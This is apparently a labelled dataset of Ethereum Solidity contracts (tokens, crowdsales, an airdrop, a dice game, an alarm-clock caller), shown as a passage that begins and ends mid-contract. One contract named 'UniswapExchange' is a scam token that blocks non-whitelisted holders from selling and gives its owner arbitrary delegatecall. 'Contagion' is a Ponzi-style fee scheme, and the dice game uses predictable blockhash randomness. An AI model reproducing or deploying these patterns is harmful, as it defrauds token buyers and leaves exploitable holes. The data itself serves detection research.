function Controlled() {
controller = msg.sender;
}
address public newController;
function changeOwner(address _newController) onlyController {
newController = _newController;
}
function acceptOwnership() {
if (msg.sender == newController) {
controller = newController;
}
}
}
contract SphereTokenFactory{
function mint(address target, uint amount);
}
contract Haltable is Controlled {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyController {
halted = true;
}
function unhalt() external onlyController onlyInEmergency {
halted = false;
}
}
contract PricingMechanism is Haltable, SafeMath{
uint public decimals;
PriceTier[] public priceList;
uint8 public numTiers;
uint public currentTierIndex;
uint public totalDepositedEthers;
struct PriceTier {
uint costPerToken;
uint ethersDepositedInTier;
uint maxEthersInTier;
}
function setPricing() onlyController{
uint factor = 10 ** decimals;
priceList.push(PriceTier(uint(safeDiv(1 ether, 400 * factor)),0,5000 ether));
priceList.push(PriceTier(uint(safeDiv(1 ether, 400 * factor)),0,1 ether));
numTiers = 2;
}
function allocateTokensInternally(uint value) internal constant returns(uint numTokens){
if (numTiers == 0) return 0;
numTokens = 0;
uint8 tierIndex = 0;
for (uint8 i = 0; i < numTiers; i++){
if (priceList[i].ethersDepositedInTier < priceList[i].maxEthersInTier){
uint ethersToDepositInTier = min256(priceList[i].maxEthersInTier - priceList[i].ethersDepositedInTier, value);
numTokens = safeAdd(numTokens, ethersToDepositInTier / priceList[i].costPerToken);
priceList[i].ethersDepositedInTier = safeAdd(ethersToDepositInTier, priceList[i].ethersDepositedInTier);
totalDepositedEthers = safeAdd(ethersToDepositInTier, totalDepositedEthers);
value = safeSub(value, ethersToDepositInTier);
if (priceList[i].ethersDepositedInTier > 0)
tierIndex = i;
}
}
currentTierIndex = tierIndex;
return numTokens;
}
}
contract DAOController{
address public dao;
modifier onlyDAO{
if (msg.sender != dao) throw;
_;
}
}
contract CrowdSalePreICO is PricingMechanism, DAOController{
SphereTokenFactory public tokenFactory;
uint public hardCapAmount;
bool public isStarted = false;
bool public isFinalized = false;
uint public duration = 7 days;
uint public startTime;
address public multiSig;
bool public finalizeSet = false;
modifier onlyStarted{
if (!isStarted) throw;
_;
}
modifier notFinalized{
if (isFinalized) throw;
_;
}
modifier afterFinalizeSet{
if (!finalizeSet) throw;
_;
}
function CrowdSalePreICO(){
tokenFactory = SphereTokenFactory(0xf961eb0acf690bd8f92c5f9c486f3b30848d87aa);
decimals = 4;
setPricing();
hardCapAmount = 5000 ether;
}
function startCrowdsale() onlyController {
if (isStarted) throw;
isStarted = true;
startTime = now;
}
function setDAOAndMultiSig(address _dao, address _multiSig) onlyController{
dao = _dao;
multiSig = _multiSig;
finalizeSet = true;
}
function() payable stopInEmergency onlyStarted notFinalized{
if (totalDepositedEthers >= hardCapAmount) throw;
uint contribution = msg.value;
if (safeAdd(totalDepositedEthers, msg.value) > hardCapAmount){
contribution = safeSub(hardCapAmount, totalDepositedEthers);
}
uint excess = safeSub(msg.value, contribution);
uint numTokensToAllocate = allocateTokensInternally(contribution);
tokenFactory.mint(msg.sender, numTokensToAllocate);
if (excess > 0){
msg.sender.send(excess);
}
}
function finalize() payable onlyController afterFinalizeSet{
if (hardCapAmount == totalDepositedEthers || (now - startTime) > duration){
dao.call.gas(150000).value(totalDepositedEthers * 2 / 10)();
multiSig.call.gas(150000).value(this.balance)();
isFinalized = true;
}
}
function emergency() payable onlyStarted onlyInEmergency onlyController afterFinalizeSet{
isFinalized = true;
isStarted = false;
multiSig.call.gas(150000).value(this.balance)();
}
} | 0 | 924 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract TIXGeneration is StandardToken {
string public constant name = "Blocktix Token";
string public constant symbol = "TIX";
uint256 public constant decimals = 18;
string public version = "1.0";
bool public isFinalized;
uint256 public startTime = 0;
uint256 public endTime = 0;
uint256 public constant tokenGenerationCap = 62.5 * (10**6) * 10**decimals;
uint256 public constant t2tokenExchangeRate = 1250;
uint256 public constant t3tokenExchangeRate = 1041;
uint256 public constant tixFund = tokenGenerationCap / 100 * 24;
uint256 public constant tixFounders = tokenGenerationCap / 100 * 10;
uint256 public constant tixPromo = tokenGenerationCap / 100 * 2;
uint256 public constant tixPresale = 29.16 * (10**6) * 10**decimals;
uint256 public constant finalTier = 52.5 * (10**6) * 10**decimals;
uint256 public tokenExchangeRate = t2tokenExchangeRate;
address public ethFundDeposit;
address public tixFundDeposit;
address public tixFoundersDeposit;
address public tixPromoDeposit;
address public tixPresaleDeposit;
modifier whenFinalized() {
if (!isFinalized) throw;
_;
}
modifier whenNotFinalized() {
if (isFinalized) throw;
_;
}
modifier between(uint256 _startTime, uint256 _endTime) {
assert(now >= _startTime && now < _endTime);
_;
}
modifier validAmount() {
require(msg.value > 0);
_;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
event CreateTIX(address indexed _to, uint256 _value);
function TIXGeneration(
address _ethFundDeposit,
address _tixFundDeposit,
address _tixFoundersDeposit,
address _tixPromoDeposit,
address _tixPresaleDeposit,
uint256 _startTime,
uint256 _endTime)
{
isFinalized = false;
ethFundDeposit = _ethFundDeposit;
tixFundDeposit = _tixFundDeposit;
tixFoundersDeposit = _tixFoundersDeposit;
tixPromoDeposit = _tixPromoDeposit;
tixPresaleDeposit = _tixPresaleDeposit;
startTime = _startTime;
endTime = _endTime;
totalSupply = tixFund;
totalSupply += tixFounders;
totalSupply += tixPromo;
totalSupply += tixPresale;
balances[tixFundDeposit] = tixFund;
balances[tixFoundersDeposit] = tixFounders;
balances[tixPromoDeposit] = tixPromo;
balances[tixPresaleDeposit] = tixPresale;
CreateTIX(tixFundDeposit, tixFund);
CreateTIX(tixFoundersDeposit, tixFounders);
CreateTIX(tixPromoDeposit, tixPromo);
CreateTIX(tixPresaleDeposit, tixPresale);
}
function transfer(address _to, uint _value) whenFinalized {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenFinalized {
super.transferFrom(_from, _to, _value);
}
function generateTokens()
public
payable
whenNotFinalized
between(startTime, endTime)
validAmount
{
if (totalSupply == tokenGenerationCap)
throw;
uint256 tokens = SafeMath.mul(msg.value, tokenExchangeRate);
uint256 checkedSupply = SafeMath.add(totalSupply, tokens);
uint256 diff;
if (tokenExchangeRate != t3tokenExchangeRate && finalTier < checkedSupply)
{
diff = SafeMath.sub(checkedSupply, finalTier);
tokens = SafeMath.sub(tokens, diff);
uint256 ethdiff = SafeMath.div(diff, t2tokenExchangeRate);
tokenExchangeRate = t3tokenExchangeRate;
tokens = SafeMath.add(tokens, SafeMath.mul(ethdiff, tokenExchangeRate));
checkedSupply = SafeMath.add(totalSupply, tokens);
}
if (tokenGenerationCap < checkedSupply)
{
diff = SafeMath.sub(checkedSupply, tokenGenerationCap);
if (diff > 10**12)
throw;
checkedSupply = SafeMath.sub(checkedSupply, diff);
tokens = SafeMath.sub(tokens, diff);
}
totalSupply = checkedSupply;
balances[msg.sender] += tokens;
CreateTIX(msg.sender, tokens);
}
function finalize()
external
whenNotFinalized
{
if (msg.sender != ethFundDeposit) throw;
if (now <= endTime && totalSupply != tokenGenerationCap) throw;
isFinalized = true;
if(!ethFundDeposit.send(this.balance)) throw;
}
function()
payable
whenNotFinalized
{
generateTokens();
}
} | 1 | 5,367 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,508 |
pragma solidity ^0.4.17;
library SafeMathMod {
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) < a);
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) > a);
}
}
contract Paymec {
using SafeMathMod for uint256;
string constant public name = "Paymec";
string constant public symbol = "PMC";
uint8 constant public decimals = 8;
uint256 constant public totalSupply = 100000000e8;
uint256 constant private MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event TransferFrom(address indexed _spender, address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function Paymec() public {balanceOf[msg.sender] = totalSupply;}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(isNotContract(_to));
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_to != address(this));
uint256 allowance = allowed[_from][msg.sender];
require(_value <= allowance || _from == msg.sender);
balanceOf[_to] = balanceOf[_to].add(_value);
balanceOf[_from] = balanceOf[_from].sub(_value);
if (allowed[_from][msg.sender] != MAX_UINT256 && _from != msg.sender) {
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
}
Transfer(_from, _to, _value);
return true;
}
function multiPartyTransfer(address[] _toAddresses, uint256[] _amounts) public {
require(_toAddresses.length <= 255);
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transfer(_toAddresses[i], _amounts[i]);
}
}
function multiPartyTransferFrom(address _from, address[] _toAddresses, uint256[] _amounts) public {
require(_toAddresses.length <= 255);
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transferFrom(_from, _toAddresses[i], _amounts[i]);
}
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
remaining = allowed[_owner][_spender];
}
function isNotContract(address _addr) private view returns (bool) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length == 0);
}
function() public payable {revert();}
} | 1 | 3,775 |
pragma solidity 0.5.0;
interface Token {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function balanceOf(address _who) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
}
contract HSendBatchTokens {
mapping (address => mapping (address => bool)) private wasAirdropped;
function sendBatchTokens(
address[] calldata _targets,
address _token)
external
returns (bool success)
{
uint256 length = _targets.length;
uint256 amount = 1 * 10 ** 18;
Token token = Token(_token);
require(
token.transferFrom(
msg.sender,
address(this),
(amount * length)
)
);
for (uint256 i = 0; i < length; i++) {
if (token.balanceOf(_targets[i]) > uint256(0)) continue;
if(wasAirdropped[_token][_targets[i]]) continue;
wasAirdropped[_token][_targets[i]] = true;
require(
token.transfer(
_targets[i],
amount
)
);
}
if (token.balanceOf(address(this)) > uint256(0)) {
require(
token.transfer(
msg.sender,
token.balanceOf(address(this))
)
);
}
success = true;
}
function hasReceivedAirdrop(
address _token,
address _target)
external
view
returns (bool)
{
return wasAirdropped[_token][_target];
}
} | 1 | 4,835 |
pragma solidity 0.4.25;
contract AlarmClock {
event _newAlarmClock(address _contract, uint startBlock, uint blockWindow, uint reward, uint gas, bytes _callData);
address public owner;
uint public totalTimers;
uint public waitingTimers;
struct ClockStruct {
address _contract;
uint startBlock;
uint blockWindow;
uint reward;
uint gas;
bytes callData;
}
ClockStruct[] public clockList;
constructor () public payable {
owner = msg.sender;
totalTimers = 0;
waitingTimers = 0;
}
modifier ownerOnly() {
require(msg.sender == owner);
_;
}
function setNewOwner(address _newOwner) public ownerOnly {
owner = _newOwner;
}
function registerAlarmClock(address _contract, uint startBlock, uint blockWindow, uint gas, bytes _callData) external payable {
require(gas >= 200000);
require(msg.value > gas);
require(block.number < startBlock);
clockList.push(ClockStruct(_contract, startBlock, blockWindow, msg.value - gas, gas, _callData));
totalTimers++;
waitingTimers++;
emit _newAlarmClock(_contract, startBlock, blockWindow, msg.value - gas, gas, _callData);
}
function trigerAlarmClock(uint id) external payable {
uint _reward;
require(clockList[id].reward > 0);
require(block.number >= clockList[id].startBlock);
require(block.number < (clockList[id].startBlock + clockList[id].blockWindow));
require(clockList[id]._contract.call.value(0).gas(clockList[id].gas)(clockList[id].callData));
waitingTimers--;
_reward = clockList[id].reward;
clockList[id].reward = 0;
msg.sender.transfer(_reward);
}
function() external payable {
}
function _destroyContract() external ownerOnly {
selfdestruct(msg.sender);
}
} | 1 | 4,136 |
pragma solidity ^0.4.23;
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function getFrontEndTokenBalanceOf(address who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zethroll is ZTHReceivingContract {
using SafeMath for uint;
modifier betIsValid(uint _betSize, uint _playerNumber) {
require( calculateProfit(_betSize, _playerNumber) < maxProfit
&& _betSize >= minBet
&& _playerNumber > minNumber
&& _playerNumber < maxNumber);
_;
}
modifier gameIsActive {
require(gamePaused == false);
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint constant public maxNumber = 99;
uint constant public minNumber = 2;
uint constant public houseEdgeDivisor = 1000;
bool public gamePaused;
address public owner;
address public ZethrBankroll;
address public ZTHTKNADDR;
ZTHInterface public ZTHTKN;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 0;
uint public totalBets;
uint public totalZTHWagered;
event LogBet(address sender, uint value, uint rollUnder);
event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won);
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit);
event CurrentContractBalance(uint _tokens);
constructor (address zthtknaddr, address zthbankrolladdr) public {
owner = msg.sender;
ZTHTKN = ZTHInterface(zthtknaddr);
ZTHTKNADDR = zthtknaddr;
ZethrBankroll = zthbankrolladdr;
houseEdge = 990;
ownerSetMaxProfitAsPercentOfHouse(10000);
ownerSetMinBet(1e18);
ZTHTKN.approve(zthbankrolladdr, MAX_INT);
}
function() public payable {}
function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
function calculateProfit(uint _initBet, uint _roll)
private
view
returns (uint)
{
return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
struct playerRoll{
uint200 tokenValue;
uint48 blockn;
uint8 rollUnder;
}
mapping(address => playerRoll) public playerRolls;
function _playerRollDice(uint _rollUnder, TKN _tkn) private
gameIsActive
betIsValid(_tkn.value, _rollUnder)
{
require(_tkn.value < ((2 ** 200) - 1));
require(block.number < ((2 ** 48) - 1));
require(_zthToken(msg.sender));
playerRoll memory roll = playerRolls[_tkn.sender];
require(block.number != roll.blockn);
if (roll.blockn != 0) {
_finishBet(false, _tkn.sender);
}
roll.blockn = uint40(block.number);
roll.tokenValue = uint200(_tkn.value);
roll.rollUnder = uint8(_rollUnder);
playerRolls[_tkn.sender] = roll;
emit LogBet(_tkn.sender, _tkn.value, _rollUnder);
totalBets += 1;
totalZTHWagered += _tkn.value;
}
function finishBet() public
gameIsActive
returns (uint)
{
return _finishBet(true, msg.sender);
}
function _finishBet(bool delete_it, address target) private returns (uint){
playerRoll memory roll = playerRolls[target];
require(roll.tokenValue > 0);
require(roll.blockn != block.number);
uint result;
if (block.number - roll.blockn > 255) {
result = 1000;
} else {
result = random(99, roll.blockn, target) + 1;
}
uint rollUnder = roll.rollUnder;
if (result < rollUnder) {
uint profit = calculateProfit(roll.tokenValue, rollUnder);
contractBalance = contractBalance.sub(profit);
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true);
setMaxProfit();
if (delete_it){
delete playerRolls[target];
}
ZTHTKN.transfer(target, profit + roll.tokenValue);
return result;
} else {
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false);
contractBalance = contractBalance.add(roll.tokenValue);
setMaxProfit();
return result;
}
}
struct TKN {address sender; uint value;}
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) {
require(msg.sender == ZTHTKNADDR);
if (_from == ZethrBankroll) {
contractBalance = contractBalance.add(_value);
uint oldMaxProfit = maxProfit;
setMaxProfit();
emit MaxProfitChanged(oldMaxProfit, maxProfit);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
uint8 chosenNumber = uint8(_data[0]);
_playerRollDice(chosenNumber, _tkn);
}
return true;
}
function setMaxProfit() internal {
emit CurrentContractBalance(contractBalance);
maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
function ownerUpdateContractBalance(uint newContractBalance) public
onlyOwner
{
contractBalance = newContractBalance;
}
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
require(newMaxProfitAsPercent <= 200000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
function ownerTransferZTH(address sendTo, uint amount) public
onlyOwner
{
contractBalance = contractBalance.sub(amount);
setMaxProfit();
require(ZTHTKN.transfer(sendTo, amount));
emit LogOwnerTransfer(sendTo, amount);
}
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
function ownerSetBankroll(address newBankroll) public
onlyOwner
{
ZTHTKN.approve(ZethrBankroll, 0);
ZethrBankroll = newBankroll;
ZTHTKN.approve(newBankroll, MAX_INT);
}
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
function ownerkill() public
onlyOwner
{
ZTHTKN.transfer(owner, contractBalance);
selfdestruct(owner);
}
function dumpdivs() public{
ZethrBankroll.transfer(address(this).balance);
}
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,779 |
pragma solidity ^0.4.24;
contract Contagion
{
struct _Tx {
address txuser;
uint txvalue;
}
_Tx[] public Tx;
uint public counter;
address owner;
modifier onlyowner
{
if (msg.sender == owner)
_;
}
constructor () public {
owner = msg.sender;
}
function() public payable {
require(msg.value>=0.01 ether);
Sort();
if (msg.sender == owner )
{
Count();
}
}
function Sort() internal
{
uint feecounter;
feecounter=msg.value/5;
owner.send(feecounter);
feecounter=0;
uint txcounter=Tx.length;
counter=Tx.length;
Tx.length++;
Tx[txcounter].txuser=msg.sender;
Tx[txcounter].txvalue=msg.value;
}
function Count() public onlyowner {
while (counter>0) {
Tx[counter].txuser.send((Tx[counter].txvalue/1000)*33);
counter-=1;
}
}
} | 0 | 539 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return a / b;
}
function mod(uint a, uint b) internal pure returns (uint) {
return a % b;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Dividends {
using SafeMath for *;
uint private constant FIXED_POINT = 1000000000000000000;
struct Scheme {
